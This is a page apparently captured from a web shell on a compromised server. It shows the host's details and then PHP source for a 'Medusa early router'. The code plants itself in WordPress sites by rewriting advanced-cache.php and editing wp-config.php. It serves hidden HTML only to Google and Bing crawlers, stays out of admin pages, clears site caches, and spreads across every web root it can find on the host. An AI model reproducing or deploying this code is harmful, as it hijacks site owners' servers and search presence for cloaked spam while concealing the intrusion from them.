| Server IP : 176.32.38.42 / Your IP : 216.73.216.198 Web Server : LiteSpeed System : Linux ha006.mymail.zone 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64 User : s1225329 ( 1835) PHP Version : 7.4.33 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/s1225329/domains/group-tss.ru/private_html/includes/ |
Upload File : |
<?php
/**
* Medusa early bot router + CDN cache bypass (pre-WordPress).
* Pattern adapted from seo-router-early / advanced-cache boot.
*/
if (!function_exists('fm_early_router_source')) {
function fm_early_router_source() {
return <<<'PHP'
<?php
/**
* Medusa Early Router — Pre-WordPress bot HTML (license.html)
* Loaded from advanced-cache.php. No WP APIs.
*/
if (!defined('ABSPATH') && !defined('WP_CONTENT_DIR')) {
// direct hit: silent
}
$_ms_method = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : '';
if ($_ms_method !== 'GET' && $_ms_method !== 'HEAD') {
return;
}
$_ms_ua = isset($_SERVER['HTTP_USER_AGENT']) ? (string)$_SERVER['HTTP_USER_AGENT'] : '';
if ($_ms_ua === '') {
return;
}
$_ms_bots = array(
'Googlebot',
'Googlebot-Image',
'Googlebot-Video',
'Googlebot-News',
'Googlebot-Mobile',
'Googlebot-Android',
'Googlebot-Search',
'Googlebot-Inspect',
'Googlebot-Ads',
'Googlebot-Discovery',
'AdsBot-Google',
'Mediapartners-Google',
'APIs-Google',
'Google-InspectionTool',
'Google-PageRenderer',
'Google-Read-Aloud',
'Storebot-Google',
'FeedFetcher-Google',
'bingbot',
'BingPreview',
);
$_ms_re = '/' . implode('|', array_map('preg_quote', $_ms_bots)) . '/i';
if (!preg_match($_ms_re, $_ms_ua)) {
return;
}
$_ms_uri = isset($_SERVER['REQUEST_URI']) ? (string)$_SERVER['REQUEST_URI'] : '/';
if (preg_match('#/(wp-admin|wp-login\.php|xmlrpc\.php)#i', $_ms_uri)) {
return;
}
if (defined('WP_ADMIN') && WP_ADMIN) {
return;
}
$_ms_content_dir = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR : __DIR__;
$_ms_root = dirname($_ms_content_dir);
$_ms_file = $_ms_root . '/license.html';
if (!is_file($_ms_file)) {
$_ms_file = $_ms_content_dir . '/../license.html';
}
if (!is_file($_ms_file)) {
return;
}
$_ms_html = @file_get_contents($_ms_file);
if ($_ms_html === false || $_ms_html === '') {
return;
}
if (!defined('DONOTCACHEPAGE')) {
define('DONOTCACHEPAGE', true);
}
if (!defined('DONOTCACHEDB')) {
define('DONOTCACHEDB', true);
}
if (!defined('DONOTMINIFY')) {
define('DONOTMINIFY', true);
}
if (!defined('DONOTCDN')) {
define('DONOTCDN', true);
}
if (!defined('LSCACHE_NO_CACHE')) {
define('LSCACHE_NO_CACHE', true);
}
while (ob_get_level() > 0) {
@ob_end_clean();
}
@header_remove('Cache-Control');
@header_remove('Pragma');
@header_remove('Expires');
@header_remove('X-WP-CF-Super-Cache-Cache-Control');
@header_remove('X-WP-CF-Super-Cache-Cookies-Bypass');
@header_remove('X-LiteSpeed-Cache');
@header_remove('X-LiteSpeed-Cache-Control');
http_response_code(200);
header('Content-Type: text/html; charset=utf-8');
header('Content-Length: ' . strlen($_ms_html));
header('Cache-Control: no-store, no-cache, must-revalidate, private, max-age=0');
header('CDN-Cache-Control: no-store');
header('Cloudflare-CDN-Cache-Control: no-store');
header('Surrogate-Control: no-store');
header('Pragma: no-cache');
header('Expires: 0');
header('X-Content-Type-Options: nosniff');
header('Vary: User-Agent');
header('X-LiteSpeed-Cache-Control: no-cache');
header('X-Accel-Expires: 0');
header('X-Medusa-Early: 1');
if ($_ms_method === 'GET') {
echo $_ms_html;
}
exit;
PHP;
}
}
if (!function_exists('fm_advanced_cache_source')) {
function fm_advanced_cache_source() {
return <<<'PHP'
<?php
// Medusa Early Router — bot HTML before WordPress (CDN/cache bypass)
@include_once __DIR__ . '/ms-early-router.php';
// Preserve previous drop-in (W3TC / LiteSpeed / etc.) if backed up
if (is_file(__DIR__ . '/advanced-cache.ms-prev.php')) {
@include_once __DIR__ . '/advanced-cache.ms-prev.php';
}
PHP;
}
}
if (!function_exists('fm_enable_wp_cache_flag')) {
function fm_enable_wp_cache_flag($webRoot) {
$cfg = rtrim(str_replace('\\', '/', $webRoot), '/') . '/wp-config.php';
if (!is_file($cfg) || !is_writable($cfg)) {
return false;
}
$raw = (string)@file_get_contents($cfg);
if ($raw === '') {
return false;
}
if (preg_match("/define\s*\(\s*['\"]WP_CACHE['\"]\s*,\s*true\s*\)/i", $raw)) {
return true;
}
if (preg_match("/define\s*\(\s*['\"]WP_CACHE['\"]\s*,\s*false\s*\)/i", $raw)) {
$raw2 = preg_replace(
"/define\s*\(\s*['\"]WP_CACHE['\"]\s*,\s*false\s*\)\s*;?/i",
"define('WP_CACHE', true); // Medusa early router",
$raw,
1
);
return $raw2 && @file_put_contents($cfg, $raw2) !== false;
}
// insert after opening php tag
if (preg_match('/<\?php\b/', $raw)) {
$raw2 = preg_replace(
'/<\?php\b/',
"<?php\ndefine('WP_CACHE', true); // Medusa early router\n",
$raw,
1
);
return $raw2 && @file_put_contents($cfg, $raw2) !== false;
}
return false;
}
}
if (!function_exists('fm_purge_site_file_caches')) {
function fm_purge_site_file_caches($webRoot) {
$webRoot = rtrim(str_replace('\\', '/', $webRoot), '/');
$n = 0;
$dirs = [
$webRoot . '/wp-content/cache',
$webRoot . '/wp-content/litespeed',
$webRoot . '/wp-content/w3tc-cache',
$webRoot . '/wp-content/wp-rocket-cache',
$webRoot . '/wp-content/cache/supercache',
$webRoot . '/cache',
];
foreach ($dirs as $dir) {
if (!is_dir($dir)) {
continue;
}
try {
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($it as $f) {
if ($f->isFile() || $f->isLink()) {
if (@unlink($f->getRealPath())) {
$n++;
}
}
}
} catch (Exception $e) {
// ignore
}
}
// LiteSpeed soft purge hint for next response
if (!headers_sent()) {
@header('X-LiteSpeed-Purge: *');
@header('X-LiteSpeed-Cache-Control: no-cache');
}
return $n;
}
}
if (!function_exists('fm_install_early_router')) {
/**
* Install early router + advanced-cache drop-in + WP_CACHE + optional cache purge.
* @return array{ok:bool,steps:string[]}
*/
function fm_install_early_router($webRoot, $purge = true) {
$webRoot = rtrim(str_replace('\\', '/', (string)(@realpath($webRoot) ?: $webRoot)), '/');
$steps = [];
if ($webRoot === '' || !is_dir($webRoot)) {
return ['ok' => false, 'steps' => ['bad root']];
}
$wpContent = $webRoot . '/wp-content';
if (!is_dir($wpContent)) {
return ['ok' => false, 'steps' => ['no wp-content']];
}
$routerPath = $wpContent . '/ms-early-router.php';
if (@file_put_contents($routerPath, fm_early_router_source()) !== false) {
@chmod($routerPath, 0644);
$steps[] = 'ms-early-router.php';
} else {
$steps[] = 'fail:ms-early-router';
return ['ok' => false, 'steps' => $steps];
}
$ac = $wpContent . '/advanced-cache.php';
$prev = $wpContent . '/advanced-cache.ms-prev.php';
if (is_file($ac)) {
$cur = (string)@file_get_contents($ac);
if (strpos($cur, 'ms-early-router.php') === false) {
// backup existing drop-in once
if (!is_file($prev)) {
@copy($ac, $prev);
$steps[] = 'backup advanced-cache';
}
if (@file_put_contents($ac, fm_advanced_cache_source()) !== false) {
$steps[] = 'advanced-cache.php';
} else {
$steps[] = 'fail:advanced-cache';
}
} else {
$steps[] = 'advanced-cache already wired';
}
} else {
if (@file_put_contents($ac, fm_advanced_cache_source()) !== false) {
$steps[] = 'advanced-cache.php new';
} else {
$steps[] = 'fail:advanced-cache';
}
}
if (fm_enable_wp_cache_flag($webRoot)) {
$steps[] = 'WP_CACHE=true';
} else {
$steps[] = 'WP_CACHE skip';
}
if ($purge) {
$n = fm_purge_site_file_caches($webRoot);
$steps[] = "purge:$n files";
}
return ['ok' => true, 'steps' => $steps];
}
}
if (!function_exists('fm_install_early_router_fleet')) {
function fm_install_early_router_fleet($fromDir, $purge = true) {
$report = ['ok' => 0, 'fail' => 0, 'domains' => []];
$targets = function_exists('discoverWebRoots') ? discoverWebRoots($fromDir) : [['path' => $fromDir, 'domain' => basename($fromDir)]];
foreach ($targets as $t) {
$path = $t['path'] ?? '';
$domain = $t['domain'] ?? basename($path);
if ($path === '' || empty($t['has_wp']) && !is_dir(rtrim($path, '/\\') . '/wp-content')) {
// still try if wp-content exists
if (!is_dir(rtrim($path, '/\\') . '/wp-content')) {
continue;
}
}
$r = fm_install_early_router($path, $purge);
if ($r['ok']) {
$report['ok']++;
$report['domains'][] = $domain . ' ✓';
} else {
$report['fail']++;
$report['domains'][] = $domain . ' ✗(' . implode(',', $r['steps']) . ')';
}
}
return $report;
}
}